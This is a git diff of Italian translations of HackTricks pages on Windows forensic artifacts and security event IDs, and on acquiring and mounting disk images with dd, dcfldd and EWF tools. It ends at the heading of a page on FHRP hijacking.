Il file **Amcache.hve** è essenzialmente un hive del registro che registra i dettagli sulle applicazioni eseguite su un sistema. Di solito si trova in `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
Il file **Amcache.hve** è essenzialmente un hive del registro che registra dettagli sulle applicazioni eseguite su un sistema. Di solito si trova in `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Questo file è noto per memorizzare i record dei processi recentemente eseguiti, inclusi i percorsi dei file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema.
|
||||
Questo file è noto per memorizzare i record dei processi eseguiti di recente, inclusi i percorsi ai file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema.
|
||||
|
||||
Per estrarre e analizzare i dati da **Amcache.hve**, è possibile utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare il contenuto del file **Amcache.hve** e produrre i risultati in formato CSV:
|
||||
Per estrarre e analizzare i dati da **Amcache.hve**, si può utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare i contenuti del file **Amcache.hve** e produrre i risultati in formato CSV:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Tra i file CSV generati, il file `Amcache_Unassociated file entries` è particolarmente interessante per le informazioni dettagliate che fornisce sulle voci di file non associate.
|
||||
Tra i file CSV generati, il file `Voci file non associate di Amcache` è particolarmente degno di nota per le informazioni dettagliate che fornisce sulle voci dei file non associate.
|
||||
|
||||
Il file CSV più interessante generato è `Amcache_Unassociated file entries`.
|
||||
Il file CSV più interessante generato è `Voci file non associate di Amcache`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Questo artefatto può essere trovato solo in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contiene informazioni sull'esecuzione recente di alcuni binari.
|
||||
|
||||
È possibile utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file.
|
||||
Puoi utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file.
|
||||
|
||||
### Attività pianificate
|
||||
|
||||
È possibile estrarle da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerle come XML.
|
||||
Puoi estrarle da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerle come XML.
|
||||
|
||||
### Servizi
|
||||
|
||||
È possibile trovarli nel registro di sistema in `SYSTEM\ControlSet001\Services`. È possibile vedere cosa verrà eseguito e quando.
|
||||
Puoi trovarli nel registro di sistema sotto `SYSTEM\ControlSet001\Services`. Puoi vedere cosa verrà eseguito e quando.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Le applicazioni installate possono essere trovate in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Questo repository ha un **log** con **ogni applicazione installata** nel sistema all'interno del database **`StateRepository-Machine.srd`**.
|
||||
|
||||
All'interno della tabella Application di questo database, è possibile trovare le colonne: "Application ID", "PackageNumber" e "Display Name". Queste colonne contengono informazioni sulle applicazioni preinstallate e installate e possono essere utilizzate per verificare se alcune applicazioni sono state disinstallate poiché gli ID delle applicazioni installate dovrebbero essere sequenziali.
|
||||
All'interno della tabella delle Applicazioni di questo database, è possibile trovare le colonne: "ID Applicazione", "Numero Pacchetto" e "Nome Visualizzato". Queste colonne contengono informazioni sulle applicazioni preinstallate e installate e è possibile verificare se alcune applicazioni sono state disinstallate poiché gli ID delle applicazioni installate dovrebbero essere sequenziali.
|
||||
|
||||
È anche possibile **trovare le applicazioni installate** nel percorso del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
E le **applicazioni disinstallate** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
@ -406,21 +408,21 @@ Le informazioni che compaiono negli eventi di Windows sono:
|
|||
* Host coinvolti (nome host, IP)
|
||||
* Risorse accessate (file, cartelle, stampanti, servizi)
|
||||
|
||||
I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in formato **XML** e utilizzano l'estensione **.evtx**.
|
||||
I log sono situati in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in formato **XML** e utilizzano l'estensione **.evtx**.
|
||||
|
||||
La posizione dei file di evento può essere trovata nel registro di sistema in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
La posizione dei file degli eventi può essere trovata nel registro di sistema in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Possono essere visualizzati dall'Event Viewer di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Comprensione della registrazione degli eventi di sicurezza di Windows
|
||||
## Comprensione della Registrazione Eventi di Sicurezza di Windows
|
||||
|
||||
Gli eventi di accesso vengono registrati nel file di configurazione di sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando raggiunge la capacità massima, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono l'accesso e il logout degli utenti, le azioni degli utenti e le modifiche alle impostazioni di sicurezza, nonché l'accesso a file, cartelle e risorse condivise.
|
||||
Gli eventi di accesso vengono registrati nel file di configurazione di sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando raggiunge la capacità massima, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono accessi e disconessioni degli utenti, azioni degli utenti e modifiche alle impostazioni di sicurezza, nonché accessi a file, cartelle e risorse condivise.
|
||||
|
||||
### ID evento chiave per l'autenticazione dell'utente:
|
||||
### Principali ID Evento per l'Autenticazione Utente:
|
||||
|
||||
- **EventID 4624**: Indica un'autenticazione dell'utente riuscita.
|
||||
- **EventID 4624**: Indica un'utente autenticato con successo.
|
||||
- **EventID 4625**: Segnala un fallimento dell'autenticazione.
|
||||
- **EventIDs 4634/4647**: Rappresentano eventi di logout dell'utente.
|
||||
- **EventIDs 4634/4647**: Rappresentano eventi di disconnessione dell'utente.
|
||||
- **EventID 4672**: Indica l'accesso con privilegi amministrativi.
|
||||
|
||||
#### Sottotipi all'interno di EventID 4634/4647:
|
||||
|
@ -429,68 +431,68 @@ Gli eventi di accesso vengono registrati nel file di configurazione di sicurezza
|
|||
- **Rete (3)**: Accesso a cartelle condivise.
|
||||
- **Batch (4)**: Esecuzione di processi batch.
|
||||
- **Servizio (5)**: Avvio di servizi.
|
||||
- **Proxy (6)**: Autenticazione del proxy.
|
||||
- **Sblocco (7)**: Sblocco dello schermo con una password.
|
||||
- **Testo in chiaro di rete (8)**: Trasmissione della password in chiaro, spesso da IIS.
|
||||
- **Proxy (6)**: Autenticazione proxy.
|
||||
- **Sblocco (7)**: Schermo sbloccato con una password.
|
||||
- **Rete in testo normale (8)**: Trasmissione di password in testo normale, spesso da IIS.
|
||||
- **Nuove credenziali (9)**: Utilizzo di credenziali diverse per l'accesso.
|
||||
- **Interattivo remoto (10)**: Accesso desktop remoto o servizi terminal.
|
||||
- **Interattivo nella cache (11)**: Accesso con credenziali memorizzate nella cache senza contatto con il controller di dominio.
|
||||
- **Interattivo remoto nella cache (12)**: Accesso remoto con credenziali memorizzate nella cache.
|
||||
- **Sblocco nella cache (13)**: Sblocco con credenziali memorizzate nella cache.
|
||||
- **Interattivo remoto (10)**: Accesso remoto desktop o servizi terminal.
|
||||
- **Interattivo nella cache (11)**: Accesso con credenziali memorizzate senza contatto con il controller di dominio.
|
||||
- **Interattivo remoto nella cache (12)**: Accesso remoto con credenziali memorizzate.
|
||||
- **Sblocco memorizzato (13)**: Sblocco con credenziali memorizzate.
|
||||
|
||||
#### Codici di stato e sottostati per EventID 4625:
|
||||
|
||||
- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione dei nomi utente.
|
||||
- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco di forza bruta.
|
||||
- **0xC0000234**: Account utente bloccato - Può seguire un attacco di forza bruta che ha causato numerosi tentativi di accesso non riusciti.
|
||||
- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare o forzare la password.
|
||||
- **0xC0000234**: Account utente bloccato - Potrebbe seguire un attacco di forza bruta con molteplici tentativi di accesso falliti.
|
||||
- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati.
|
||||
- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori dell'orario di accesso stabilito, possibile segno di accesso non autorizzato.
|
||||
- **0xC0000070**: Violazione delle restrizioni del computer - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
|
||||
- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori degli orari di accesso impostati, possibile segno di accesso non autorizzato.
|
||||
- **0xC0000070**: Violazione delle restrizioni della postazione di lavoro - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
|
||||
- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti.
|
||||
- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete.
|
||||
- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
|
||||
- **0xC0000224**: Cambio di password obbligatorio - Cambi obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
|
||||
- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server potrebbero indicare attacchi più sofisticati come pass-the-ticket.
|
||||
- **0xC0000224**: Cambio obbligatorio della password - Cambi frequenti obbligatori potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
|
||||
- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza.
|
||||
- **0xC000015b**: Tipo di accesso al login negato - Tentativo di accesso con tipo di accesso non autorizzato, ad esempio un utente che cerca di eseguire un accesso di servizio.
|
||||
- **0xC000015b**: Tipo di accesso al login negato - Tentativo di accesso con tipo di login non autorizzato, come un utente che cerca di eseguire un login di servizio.
|
||||
|
||||
#### EventID 4616:
|
||||
- **Modifica dell'ora**: Modifica dell'ora di sistema, potrebbe oscurare la sequenza temporale degli eventi.
|
||||
- **Modifica dell'orario**: Modifica dell'orario di sistema, potrebbe oscurare la sequenza temporale degli eventi.
|
||||
|
||||
#### EventID 6005 e 6006:
|
||||
- **Avvio e spegnimento del sistema**: L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 indica lo spegnimento.
|
||||
|
||||
#### EventID 1102:
|
||||
- **Cancellazione del log**: Cancellazione dei log di sicurezza, spesso un segnale di attività illecite.
|
||||
- **Cancellazione del log**: I log di sicurezza vengono cancellati, spesso un segnale di attività illecite.
|
||||
|
||||
#### EventID per il tracciamento dei dispositivi USB:
|
||||
#### EventID per il Tracciamento dei Dispositivi USB:
|
||||
- **20001 / 20003 / 10000**: Primo collegamento del dispositivo USB.
|
||||
- **10100**: Aggiornamento del driver USB.
|
||||
- **EventID 112**: Ora di inserimento del dispositivo USB.
|
||||
- **EventID 112**: Orario di inserimento del dispositivo USB.
|
||||
|
||||
Per esempi pratici sulla simulazione di questi tipi di accesso e opportunità di recupero delle credenziali, fare riferimento alla guida dettagliata di [Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
Per esempi pratici sulla simulazione di questi tipi di accesso e opportunità di recupero delle credenziali, consulta la [guida dettagliata di Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente rilevanti nell'Event ID 4625.
|
||||
I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente rilevanti nell'Evento ID 4625.
|
||||
|
||||
### Recupero degli eventi di Windows
|
||||
### Recupero degli Eventi di Windows
|
||||
|
||||
Per aumentare le possibilità di recuperare gli eventi di Windows eliminati, è consigliabile spegnere direttamente il computer sospetto scollegandolo. Si consiglia di utilizzare **Bulk_extractor**, uno strumento di recupero specificando l'estensione `.evtx`, per tentare di recuperare tali eventi.
|
||||
Per aumentare le possibilità di recuperare gli eventi di Windows eliminati, è consigliabile spegnere direttamente il computer sospetto staccandolo dalla corrente. **Bulk_extractor**, uno strumento di recupero specifico con estensione `.evtx`, è consigliato per tentare di recuperare tali eventi.
|
||||
|
||||
### Identificazione degli attacchi comuni tramite eventi di Windows
|
||||
### Identificazione degli Attacchi Comuni tramite gli Eventi di Windows
|
||||
|
||||
Per una guida completa sull'utilizzo degli ID evento di Windows per identificare attacchi informatici comuni, visitare [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
Per una guida completa sull'utilizzo degli ID degli eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Attacchi di forza bruta
|
||||
#### Attacchi di Forza Bruta
|
||||
|
||||
Identificabili da registrazioni multiple di EventID 4625, seguite da un EventID 4624 se l'attacco ha successo.
|
||||
Identificabili da molteplici registrazioni EventID 4625, seguite da un EventID 4624 se l'attacco ha successo.
|
||||
|
||||
#### Modifica dell'ora
|
||||
#### Modifica dell'Orario
|
||||
|
||||
Registrata dall'EventID 4616, le modifiche all'ora di sistema possono complicare l'analisi forense.
|
||||
Registrata dall'EventID 4616, le modifiche all'orario di sistema possono complicare l'analisi forense.
|
||||
|
||||
#### Tracciamento dei dispositivi USB
|
||||
#### Tracciamento dei Dispositivi USB
|
||||
|
||||
Gli EventID di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per gli aggiornamenti dei driver e l'EventID 112 da DeviceSetupManager per i timestamp
|
||||
#### Eventi di alimentazione del sistema
|
||||
Gli utili EventID di Sistema per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per gli aggiornamenti dei driver e l'EventID 112 da DeviceSetupManager per i timestamp di inserimento.
|
||||
#### Eventi di accensione del sistema
|
||||
|
||||
L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento.
|
||||
|
||||
|
@ -498,6 +500,10 @@ L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegni
|
|||
|
||||
L'EventID 1102 della sicurezza segnala la cancellazione dei log, un evento critico per l'analisi forense.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -505,10 +511,10 @@ L'EventID 1102 della sicurezza segnala la cancellazione dei log, un evento criti
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,21 @@
|
|||
# Acquisizione dell'immagine e montaggio
|
||||
# Acquisizione e Montaggio Immagine
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Acquisizione
|
||||
|
||||
### DD
|
||||
|
@ -19,7 +23,7 @@
|
|||
#This will generate a raw copy of the disk
|
||||
dd if=/dev/sdb of=disk.img
|
||||
```
|
||||
dcfldd è un'utility di acquisizione di immagini forensi che può essere utilizzata per creare copie bit a bit di un'immagine di un dispositivo di archiviazione. È un'alternativa più avanzata al comando dd e offre funzionalità aggiuntive come il calcolo dell'hash MD5 e la registrazione delle informazioni di acquisizione.
|
||||
### dcfldd
|
||||
```bash
|
||||
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
|
@ -50,11 +54,11 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Mounta
|
||||
## Mount
|
||||
|
||||
### Diversi tipi
|
||||
|
||||
In **Windows** puoi provare ad utilizzare la versione gratuita di Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) per **montare l'immagine forense**.
|
||||
In **Windows** puoi provare a utilizzare la versione gratuita di Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) per **montare l'immagine forense**.
|
||||
|
||||
### Raw
|
||||
```bash
|
||||
|
@ -67,13 +71,9 @@ mount evidence.img /mnt
|
|||
```
|
||||
### EWF
|
||||
|
||||
L'acquisizione di immagini è un passaggio fondamentale nella metodologia forense. Una delle tecniche utilizzate per acquisire immagini di dispositivi di archiviazione è l'utilizzo di file immagine EWF (Expert Witness Format). Questo formato è ampiamente supportato da molti strumenti forensi e consente di acquisire un'immagine bit a bit di un dispositivo di archiviazione, inclusi tutti i dati, i file eliminati e lo spazio non allocato.
|
||||
#### Acquisizione di immagini
|
||||
|
||||
Per acquisire un'immagine utilizzando il formato EWF, è necessario utilizzare uno strumento come `ewfacquire`. Questo strumento consente di specificare il dispositivo di archiviazione di destinazione e il percorso del file immagine EWF da creare. Durante il processo di acquisizione, `ewfacquire` crea un file immagine EWF che rappresenta esattamente il contenuto del dispositivo di archiviazione.
|
||||
|
||||
Una volta acquisita l'immagine EWF, è possibile montarla come dispositivo di archiviazione virtuale utilizzando lo strumento `ewfmount`. Questo consente di accedere ai dati contenuti nell'immagine come se fossero presenti su un dispositivo di archiviazione fisico. È possibile esaminare i file, recuperare dati eliminati e analizzare lo spazio non allocato per individuare potenziali prove.
|
||||
|
||||
L'utilizzo di file immagine EWF per l'acquisizione e il montaggio delle immagini offre numerosi vantaggi nella metodologia forense, tra cui la preservazione dell'integrità dei dati, la possibilità di lavorare con immagini di grandi dimensioni e la compatibilità con molti strumenti forensi.
|
||||
L'acquisizione di immagini è il processo di copia bit a bit di un'immagine di un dispositivo di archiviazione. Questo processo è essenziale per garantire che i dati originali siano preservati e non siano modificati durante l'analisi forense. L'uso di formati di immagine forense come EWF (Expert Witness Compression Format) aiuta a garantire l'integrità dei dati acquisiti.
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
|
@ -95,7 +95,7 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
### Errori
|
||||
|
||||
* **`impossibile montare /dev/loop0 in sola lettura`** in questo caso è necessario utilizzare i flag **`-o ro,norecovery`**
|
||||
* **`tipo di file system errato, opzione errata, superblock errato su /dev/loop0, mancante codepage o programma di assistenza, o altro errore.`** in questo caso il montaggio è fallito poiché l'offset del file system è diverso da quello dell'immagine del disco. È necessario trovare la dimensione del settore e il settore di avvio:
|
||||
* **`tipo fs errato, opzione errata, superblock errato su /dev/loop0, pagina codice mancante o programma di assistenza, o altro errore.`** in questo caso il mount è fallito poiché l'offset del filesystem è diverso rispetto a quello dell'immagine disco. È necessario trovare la dimensione del settore e il settore di avvio:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -108,18 +108,22 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Nota che la dimensione del settore è **512** e l'inizio è **2048**. Successivamente monta l'immagine in questo modo:
|
||||
Nota che la dimensione del settore è **512** e l'inizio è **2048**. Quindi monta l'immagine in questo modo:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,61 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Panoramica degli attacchi FHRP Hijacking
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Panoramica sull'Hijacking FHRP
|
||||
|
||||
